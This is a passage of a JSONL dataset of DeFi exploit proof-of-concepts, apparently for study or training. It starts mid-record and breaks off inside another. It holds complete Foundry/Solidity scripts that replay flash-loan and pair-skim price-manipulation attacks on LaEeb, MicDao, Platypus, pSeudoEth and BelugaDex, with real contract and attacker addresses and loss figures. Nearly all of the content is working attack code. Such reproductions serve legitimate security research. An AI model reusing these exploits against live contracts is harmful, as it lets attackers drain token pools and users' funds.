BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker BH balance after attack\", BH.balanceOf(address(this)), BH.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$1.27M", "keyinfo_attacker": "https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea63464", "keyinfo_attack_contract": "https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b5", "keyinfo_attack_tx": "https://bscscan.com/tx/0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.27M", "content_richness_score": 10, "quality_estimate": "high", "title": "BH Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~1.8 WBNB\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x0d13a61e9dc81cfae324d3d80e49830d9bbae300f760e016a15600889a896a1b\n// Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891\n// Attack Contract : https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef\n// GUY : https://x.com/MetaSec_xyz/status/1718964562165420076\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair Pair = IPancakePair(0x3921E8cb14e2C08DB989FDF88D01220a0C53cC91);\n IERC20 LaEeb = IERC20(0xa2B8A15A07385EA933088c6bcBB38B84c1051a58);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 33_053_187);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n DPP.flashLoan(8.6 ether, 0, address(this), abi.encode(\"Attack\"));\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n swap_token_to_token(address(WBNB), address(LaEeb), 8.6 ether);\n uint256 i = 0;\n while (i < 10) {\n LaEeb.transfer(address(Pair), 3_255_594_269_218 ether);\n Pair.skim(address(this));\n i++;\n }\n swap_token_to_token(address(LaEeb), address(WBNB), LaEeb.balanceOf(address(this)));\n WBNB.transfer(msg.sender, baseAmount);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "LaEeb", "date": "2023-10", "file_name": "LaEeb_exp.sol", "attack_vector": "flash_loan", "content_hash": "988a850e0e388df2", "collected_at": "2026-01-07T10:59:16.542718", "_source": "postmortems", "chain": "bsc", "block_number": 33053187, "total_lost_raw": "~1.8 WBNB", "total_lost_usd": 1.8, "attacker_address": "https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891", "attack_contract": "https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~1.8 WBNB", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891", "keyinfo_attack_contract": "https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 4.15, "quality_estimate": "low", "title": "LaEeb Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$13K\n// Attacker : https://bscscan.com/address/0xcd03ed98868a6cd78096f116a4b56a5f2c67757d\n// Attack Contract : https://bscscan.com/address/0x502b4a51ca7900f391d474268c907b110a277d6f\n// Victim Contract : https://bscscan.com/address/0xf6876f6ab2637774804b85aecc17b434a2b57168\n// Attack Tx : https://bscscan.com/tx/0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d075\n\n// @Analysis\n// https://twitter.com/CertiKAlert/status/1714677875427684544\n// https://twitter.com/ChainAegis/status/1714837519488205276\n\ninterface ISwapContract {\n function swap(uint256 amount, address originToken) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant MicDao = IERC20(0xf6876f6AB2637774804b85aECC17b434a2B57168);\n IDPPOracle private constant DPPOracle = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 32_711_747);\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(MicDao), \"MicDao\");\n vm.label(address(DPPOracle), \"DPPOracle\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n DPPOracle.flashLoan(0, (BUSDT.balanceOf(address(DPPOracle)) * 99) / 100, address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n BUSDT.approve(address(Router), type(uint256).max);\n MicDao.approve(address(Router), type(uint256).max);\n BUSDTToMicDao();\n\n // Start exploit\n uint8 i;\n while (i < 80) {\n HelperContract Helper = new HelperContract();\n BUSDT.transfer(address(Helper), 2000 * 1e18);\n Helper.work();\n ++i;\n }\n // End exploit\n\n // Swap much more MicDao tokens to BUSDT\n MicDaoToBUSDT();\n // Repay flashloan and keep profit\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n receive() external payable {}\n\n function BUSDTToMicDao() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(MicDao);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 500_000 * 1e18, 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function MicDaoToBUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(MicDao);\n path[1] = address(BUSDT);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MicDao.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n\ncontract HelperContract {\n ISwapContract private constant SwapContract = ISwapContract(0x19345233ea7486c1D5d780A19F0e303597E480b5);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant MicDao = IERC20(0xf6876f6AB2637774804b85aECC17b434a2B57168);\n address private immutable owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function work() external {\n BUSDT.approve(address(SwapContract), type(uint256).max);\n SwapContract.swap(2000 * 1e18, owner);\n MicDao.transfer(owner, MicDao.balanceOf(address(this)));\n selfdestruct(payable(owner));\n }\n}\n", "type": "exploit_poc", "protocol": "MicDao", "date": "2023-10", "file_name": "MicDao_exp.sol", "attack_vector": "flash_loan", "content_hash": "d58494f2a470081c", "collected_at": "2026-01-07T10:59:16.542759", "_source": "postmortems", "chain": "bsc", "block_number": 32711747, "total_lost_raw": "~$13K", "total_lost_usd": 13000.0, "attacker_address": "https://bscscan.com/address/0xcd03ed98868a6cd78096f116a4b56a5f2c67757d", "attack_contract": "https://bscscan.com/address/0x502b4a51ca7900f391d474268c907b110a277d6f", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d075", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$13K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n DPPOracle.flashLoan(0, (BUSDT.balanceOf(address(DPPOracle)) * 99) / 100, address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$13K", "keyinfo_attacker": "https://bscscan.com/address/0xcd03ed98868a6cd78096f116a4b56a5f2c67757d", "keyinfo_attack_contract": "https://bscscan.com/address/0x502b4a51ca7900f391d474268c907b110a277d6f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d075", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$13.0K", "content_richness_score": 8.0, "quality_estimate": "high", "title": "MicDao Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2M USD$\n// Attacker : https://snowtrace.io/address/0x0cd4fd0eecd2c5ad24de7f17ae35f9db6ac51ee7\n// Attack Contract : https://snowtrace.io/address/0x44e251786a699518d6273ea1e027cec27b49d3bd\n// Vulnerable Contract : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447\n// Attack Tx : https://snowtrace.io/tx/0x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867 multiple txs\n\n// @Info\n// Vulnerable Contract Code : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712445197538468298\n// Twitter Guy : https://twitter.com/peckshield/status/1712354198246035562\n\ninterface IPlatypusPool {\n function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256);\n\n function withdraw(\n address token,\n uint256 liquidity,\n uint256 minimumAmount,\n address to,\n uint256 deadline\n ) external returns (uint256);\n\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minimumToAmount,\n address to,\n uint256 deadline\n ) external returns (uint256, uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);\n IERC20 SAVAX = IERC20(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE);\n IERC20 LP_AVAX = IERC20(0xC73eeD4494382093C6a7C284426A9a00f6C79939);\n IERC20 LP_sAVAX = IERC20(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789);\n IPlatypusPool PlatypusPool = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n\n function setUp() public {\n vm.createSelectFork(\"avalanche\", 36_346_397);\n vm.label(address(WAVAX), \"WAVAX\");\n vm.label(address(SAVAX), \"SAVAX\");\n vm.label(address(LP_AVAX), \"LP_AVAX\");\n vm.label(address(LP_sAVAX), \"LP_sAVAX\");\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(PlatypusPool), \"PlatypusPool\");\n }\n\n function testExploit() public {\n WAVAX.approve(address(PlatypusPool), type(uint256).max);\n SAVAX.approve(address(PlatypusPool), type(uint256).max);\n\n address[] memory assets = new address[](2);\n assets[0] = address(WAVAX);\n assets[1] = address(SAVAX);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 1_054_969 * 1e18;\n amounts[1] = 950_996 * 1e18;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n emit log_named_decimal_uint(\n \"Attacker WAVAX balance after exploit\", WAVAX.balanceOf(address(this)), WAVAX.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker SAVAX balance after exploit\", SAVAX.balanceOf(address(this)), SAVAX.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n WAVAX.approve(address(aaveV3), amounts[0] + premiums[0]);\n SAVAX.approve(address(aaveV3), amounts[1] + premiums[1]);\n\n PlatypusPool.deposit(address(WAVAX), amounts[0], address(this), block.timestamp + 1000); //deposit WAVAX, mint LP_AVAX\n PlatypusPool.deposit(address(SAVAX), amounts[1] / 3, address(this), block.timestamp + 1000); //deposit SAVAX, mint LP_sAVAX\n\n PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // manipulate the cash and liabilities of the LP_AVAX pool\n PlatypusPool.withdraw(address(WAVAX), 1_020_000 * 1e18, 0, address(this), block.timestamp + 1000); // inflate the WAVAX price in platypus pool\n\n PlatypusPool.swap(address(WAVAX), address(SAVAX), 1_200_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap WAVAX to SAVAX, earn more SAVAX\n\n PlatypusPool.withdraw(\n address(WAVAX), LP_AVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000\n ); // withdraw LP_AVAX\n PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap SAVAX to WAVAX\n PlatypusPool.withdraw(\n address(SAVAX), LP_sAVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000\n ); // withdraw LP_sAVAX\n\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "Platypus03", "date": "2023-10", "file_name": "Platypus03_exp.sol", "attack_vector": "flash_loan", "content_hash": "10855520ab1838d8", "collected_at": "2026-01-07T10:59:16.542808", "_source": "postmortems", "chain": "avalanche", "block_number": 36346397, "total_lost_raw": "~2M USD$", "total_lost_usd": 2000000.0, "attacker_address": "https://snowtrace.io/address/0x0cd4fd0eecd2c5ad24de7f17ae35f9db6ac51ee7", "attack_contract": "https://snowtrace.io/address/0x44e251786a699518d6273ea1e027cec27b49d3bd", "vulnerable_contract": "https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447", "attack_tx": "https://snowtrace.io/tx/0x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867", "postmortem_url": null, "twitter_url": "https://twitter.com/BlockSecTeam/status/1712445197538468298", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~2M USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n WAVAX.approve(address(PlatypusPool), type(uint256).max);\n SAVAX.approve(address(PlatypusPool), type(uint256).max);\n\n address[] memory assets = new address[](2);\n assets[0] = address(WAVAX);\n assets[1] = address(SAVAX);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 1_054_969 * 1e18;\n amounts[1] = 950_996 * 1e18;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n emit log_named_decimal_uint(\n \"Attacker WAVAX balance after exploit\", WAVAX.balanceOf(address(this)), WAVAX.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker SAVAX balance after exploit\", SAVAX.balanceOf(address(this)), SAVAX.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2M USD$", "keyinfo_attacker": "https://snowtrace.io/address/0x0cd4fd0eecd2c5ad24de7f17ae35f9db6ac51ee7", "keyinfo_attack_contract": "https://snowtrace.io/address/0x44e251786a699518d6273ea1e027cec27b49d3bd", "keyinfo_vulnerable_contract": "https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447", "keyinfo_attack_tx": "https://snowtrace.io/tx/0x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1712445197538468298", "funds_lost_formatted": "$2.00M", "content_richness_score": 9.39, "quality_estimate": "high", "title": "Platypus03 Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1.4 ETH\n// Attacker : https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba\n// Attack Contract : https://etherscan.io/address/0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8\n// Vulnerable Contract : https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f1161\n// Attack Tx : https://etherscan.io/tx/0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930\n\n// @Analysis\n// Twitter Guy : https://twitter.com/CertiKAlert/status/1710979615164944729\n\ncontract ContractTest is Test {\n IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 pEth = IERC20(0x62aBdd605E710Cc80a52062a8cC7c5d659dDDbE7);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IUniswapV2Pair UNIPair = IUniswapV2Pair(0x2033B54B6789a963A02BfCbd40A46816770f1161);\n uint256 amount = 51_970_861_731_879_316_502_999;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_305_132 - 1);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(UniRouter), \"Uniswap V2: Router\");\n vm.label(address(UNIPair), \"Uniswap V2: pEth\");\n approveAll();\n }\n\n function testExploit() external {\n uint256 startWETH = WETH.balanceOf(address(this));\n console.log(\"Before Start: %d WETH\", startWETH);\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = amount;\n Balancer.flashLoan(address(this), tokens, amounts, \"\");\n\n uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;\n uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;\n console.log(\"Attack Exploit: %s.%s WETH\", intRes, decRes);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(WETH), address(pEth));\n UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amounts[0], 0, path, address(this), type(uint256).max\n );\n uint256 pEth_amount = pEth.balanceOf(address(this));\n pEth.transfer(address(UNIPair), pEth_amount);\n\n for (uint256 i = 0; i < 10; i++) {\n UNIPair.skim(address(UNIPair));\n }\n\n (path[0], path[1]) = (address(pEth), address(WETH));\n pEth_amount = pEth.balanceOf(address(this));\n UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n pEth_amount, 0, path, address(this), type(uint256).max\n );\n\n WETH.transfer(address(Balancer), amount);\n }\n\n function approveAll() internal {\n WETH.approve(address(UniRouter), type(uint256).max);\n pEth.approve(address(UniRouter), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "pSeudoEth", "date": "2023-10", "file_name": "pSeudoEth_exp.sol", "attack_vector": "flash_loan", "content_hash": "7a48627dceb25383", "collected_at": "2026-01-07T10:59:16.542857", "_source": "postmortems", "chain": "ethereum", "block_number": 18305132, "total_lost_raw": "~1.4 ETH", "total_lost_usd": 1.4, "attacker_address": "https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba", "attack_contract": "https://etherscan.io/address/0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8", "vulnerable_contract": "https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f1161", "attack_tx": "https://etherscan.io/tx/0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930", "postmortem_url": null, "twitter_url": "https://twitter.com/CertiKAlert/status/1710979615164944729", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~1.4 ETH", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~1.4 ETH", "keyinfo_attacker": "https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba", "keyinfo_attack_contract": "https://etherscan.io/address/0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f1161", "keyinfo_attack_tx": "https://etherscan.io/tx/0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/CertiKAlert/status/1710979615164944729", "funds_lost_formatted": "$1", "content_richness_score": 6.61, "quality_estimate": "medium", "title": "pSeudoEth Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$175K\n// Attacker : https://arbiscan.io/address/0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b01\n// Attack Contract : https://arbiscan.io/address/0x9e8675365366559053f964be5838d5fca008722c\n// Vulnerable Contract : https://arbiscan.io/address/0x15a024061c151045ba483e9243291dee6ee5fd8a\n// Attack Tx : https://arbiscan.io/tx/0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1712676040471105870\n// https://twitter.com/CertiKAlert/status/1712707006979613097\n\ninterface IPool {\n function deposit(\n address token,\n uint256 amount,\n address to,\n uint256 deadline\n ) external returns (uint256 liquidity);\n\n function quotePotentialWithdraw(\n address token,\n uint256 liquidity\n ) external view returns (uint256 amount, uint256 fee, bool enoughCash);\n\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minimumToAmount,\n address to,\n uint256 deadline\n ) external returns (uint256 actualToAmount, uint256 haircut);\n\n function withdraw(\n address token,\n uint256 liquidity,\n uint256 minimumAmount,\n address to,\n uint256 deadline\n ) external returns (uint256 amount);\n}\n\ncontract ContractTest is Test {\n IERC20 private constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 private constant USDT_LP = IERC20(0xCFf307451E52B7385A7538f4cF4A861C7a60192B);\n IERC20 private constant USDC_LP = IERC20(0x7CC32EE9567b48182E5424a2A782b2aa6cD0B37b);\n IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IPool private constant Pool = IPool(0x15A024061c151045ba483e9243291Dee6Ee5fD8A);\n IPancakeRouter private constant SushiRouter = IPancakeRouter(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 140_129_166);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(USDCe), \"USDCe\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(Vault), \"Vault\");\n vm.label(address(USDT_LP), \"USDT_LP\");\n vm.label(address(USDC_LP), \"USDC_LP\");\n vm.label(address(Pool), \"Pool\");\n vm.label(address(SushiRouter), \"SushiRouter\");\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n USDT.approve(address(SushiRouter), type(uint256).max);\n USDCe.approve(address(SushiRouter), type(uint256).max);\n\n address[] memory tokens = new address[](2);\n tokens[0] = address(USDT);\n tokens[1] = address(USDCe);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = USDCe.balanceOf(address(USDC_LP)) * 2;\n amounts[1] = USDT.balanceOf(address(USDT_LP)) * 3;\n\n Vault.flashLoan(address(this), tokens, amounts, abi.encode(1));\n swapTokensSushi(USDT, USDT.balanceOf(address(this)));\n swapTokensSushi(USDCe, USDCe.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n }\n\n function receiveFlashLoan(\n address[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata feeAmounts,\n bytes calldata userData\n ) external {\n USDT.approve(address(Pool), type(uint256).max);\n USDCe.approve(address(Pool), type(uint256).max);\n USDT_LP.approve(address(Pool), type(uint256).max);\n USDC_LP.approve(address(Pool), type(uint256).max);\n\n uint256[] memory potentialWithdraws = new uint256[](10);\n potentialWithdraws[0] = 262_774_935_488;\n potentialWithdraws[1] = 281_538_919_198;\n potentialWithdraws[2] = 289_459_196_390;\n potentialWithdraws[3] = 297_534_181_283;\n potentialWithdraws[4] = 311_074_071_725;\n potentialWithdraws[5] = 329_085_528_111;\n potentialWithdraws[6] = 350_236_264_578;\n potentialWithdraws[7] = 374_148_346_983;\n potentialWithdraws[8] = 400_443_817_669;\n potentialWithdraws[9] = 428_928_171_469;\n\n uint8 i;\n while (i < 10) {\n uint256 amountDeposit1 = USDCe.balanceOf(address(USDC_LP)) * 2;\n uint256 amountDeposit2 = USDT.balanceOf(address(USDT_LP)) * 3;\n uint256 amountSwap1 = amountDeposit2 - amountDeposit2 / 3;\n uint256 diffUSDT = USDT.balanceOf(address(this)) - amountDeposit1;\n uint256 diffUSDCe = USDCe.balanceOf(address(this)) - amountDeposit2;\n\n deposit(address(USDT), amountDeposit1);\n deposit(address(USDCe), amountDeposit2 / 3);\n Pool.swap(address(USDCe), address(USDT), amountSwap1, 0, address(this), block.timestamp + 1000);\n\n // Not working logic. I leave this for the future update\n // uint256 liquidity = USDT_LP.balanceOf(address(this));\n // uint8 j;\n // while (j < 20) {\n // uint256 doubledLiquidity = liquidity * 2;\n // liquidity = doubledLiquidity >> 1;\n // Pool.quotePotentialWithdraw(address(USDT), liquidity);\n // ++j;\n // }\n\n withdraw(address(USDT), potentialWithdraws[i]);\n\n uint256 fromAmountUSDT = (USDT.balanceOf(address(this)) - diffUSDT) * 3;\n Pool.swap(address(USDT), address(USDCe), fromAmountUSDT >> 2, 0, address(this), block.timestamp + 1000);\n\n withdraw(address(USDT), USDT_LP.balanceOf(address(this)));\n\n uint256 fromAmountUSDCe = (USDCe.balanceOf(address(this)) - diffUSDCe);\n Pool.swap(address(USDCe), address(USDT), fromAmountUSDCe >> 1, 0, address(this), block.timestamp);\n\n withdraw(address(USDCe), USDC_LP.balanceOf(address(this)));\n ++i;\n }\n USDT.transfer(address(Vault), amounts[0]);\n USDCe.transfer(address(Vault), amounts[1]);\n }\n\n function deposit(address token, uint256 amount) internal {\n Pool.deposit(address(token), amount, address(this), block.timestamp);\n }\n\n function withdraw(address token, uint256 amount) internal {\n Pool.withdraw(address(token), amount, 0, address(this), block.timestamp + 1000);\n }\n\n function swapTokensSushi(IERC20 token, uint256 amount) internal {\n address[] memory path = new address[](2);\n path[0] = address(token);\n path[1] = address(WETH);\n\n SushiRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), block.timestamp + 1000\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BelugaDex", "date": "2023-10", "file_name": "BelugaDex_exp.sol", "attack_vector": "flash_loan", "content_hash": "32c4f2b19d28f271", "collected_at": "2026-01-07T10:59:16.542906", "_source": "postmortems", "chain": "arbitrum", "block_number": 140129166, "total_lost_raw": "~$175K", "total_lost_usd": 175000.0, "attacker_address": "https://arbiscan.io/address/0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b01", "attack_contract": "https://arbiscan.io/address/0x9e8675365366559053f964be5838d5fca008722c", "vulnerable_contract": "https://arbiscan.io/address/0x15a024061c151045ba483e9243291dee6ee5fd8a", "attack_tx": 